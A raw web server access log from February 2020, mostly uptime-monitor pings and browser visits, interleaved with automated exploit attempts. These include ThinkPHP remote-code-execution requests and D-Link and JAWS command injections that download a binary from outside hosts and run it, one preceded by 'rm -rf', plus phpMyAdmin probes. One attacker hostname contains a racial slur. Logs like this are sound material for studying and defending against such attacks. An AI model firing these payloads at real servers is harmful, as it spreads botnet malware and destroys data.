212.91.246.72 - - [08/Feb/2020:15:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.214.244 - - [08/Feb/2020:15:28:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.156.232 - - [08/Feb/2020:15:31:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.177.236.32 - - [08/Feb/2020:15:35:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:15:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.124.207 - - [08/Feb/2020:15:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [08/Feb/2020:15:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.162.144.54 - - [08/Feb/2020:15:38:04 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
158.51.54.162 - - [08/Feb/2020:15:38:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.149.206.98 - - [08/Feb/2020:15:38:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:15:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.169.4.34 - - [08/Feb/2020:15:40:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.59.21 - - [08/Feb/2020:15:41:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.15.197.140 - - [08/Feb/2020:15:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:15:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.216.26.27 - - [08/Feb/2020:15:42:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:15:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.162.144.42 - - [08/Feb/2020:15:47:17 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
46.118.121.248 - - [08/Feb/2020:15:47:40 +0100] "GET / HTTP/1.1" 200 1229 "https://mydirtystuff.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.121.248 - - [08/Feb/2020:15:47:40 +0100] "GET / HTTP/1.1" 200 1229 "https://mydirtystuff.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.121.248 - - [08/Feb/2020:15:47:41 +0100] "GET / HTTP/1.1" 200 1229 "https://mydirtystuff.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
212.91.246.72 - - [08/Feb/2020:15:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.17.63.2 - - [08/Feb/2020:15:51:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.138.154.218 - - [08/Feb/2020:15:53:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.42.245 - - [08/Feb/2020:15:55:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.176.111.55 - - [08/Feb/2020:15:57:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:15:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.101.16.197 - - [08/Feb/2020:15:57:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:15:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.213.64 - - [08/Feb/2020:15:58:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.252.118.44 - - [08/Feb/2020:15:59:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.196.42 - - [08/Feb/2020:16:07:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.176.159.220 - - [08/Feb/2020:16:09:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:16:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.154.64.227 - - [08/Feb/2020:16:10:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.231.51.217 - - [08/Feb/2020:16:12:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.230.195.60 - - [08/Feb/2020:16:14:09 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
178.89.200.41 - - [08/Feb/2020:16:14:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.42.123.162 - - [08/Feb/2020:16:16:59 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:16:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.74.177.53 - - [08/Feb/2020:16:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [08/Feb/2020:16:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.158.49.85 - - [08/Feb/2020:16:20:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.107.128 - - [08/Feb/2020:16:22:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.110.51 - - [08/Feb/2020:16:22:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.22.226 - - [08/Feb/2020:16:23:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.6.52.53 - - [08/Feb/2020:16:26:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.63.91.79 - - [08/Feb/2020:16:28:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:16:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.35.93 - - [08/Feb/2020:16:29:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.135.66 - - [08/Feb/2020:16:29:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.197.185 - - [08/Feb/2020:16:31:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.81.180 - - [08/Feb/2020:16:31:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.25.57.188 - - [08/Feb/2020:16:32:15 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:16:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.203.193.47 - - [08/Feb/2020:16:32:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.199.121 - - [08/Feb/2020:16:33:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.161.145 - - [08/Feb/2020:16:34:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.3.167.147 - - [08/Feb/2020:16:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:16:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.152.58.237 - - [08/Feb/2020:16:35:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:16:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.40.252 - - [08/Feb/2020:16:37:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.122.156.155 - - [08/Feb/2020:16:38:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
185.150.251.131 - - [08/Feb/2020:16:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
185.150.251.131 - - [08/Feb/2020:16:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:16:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
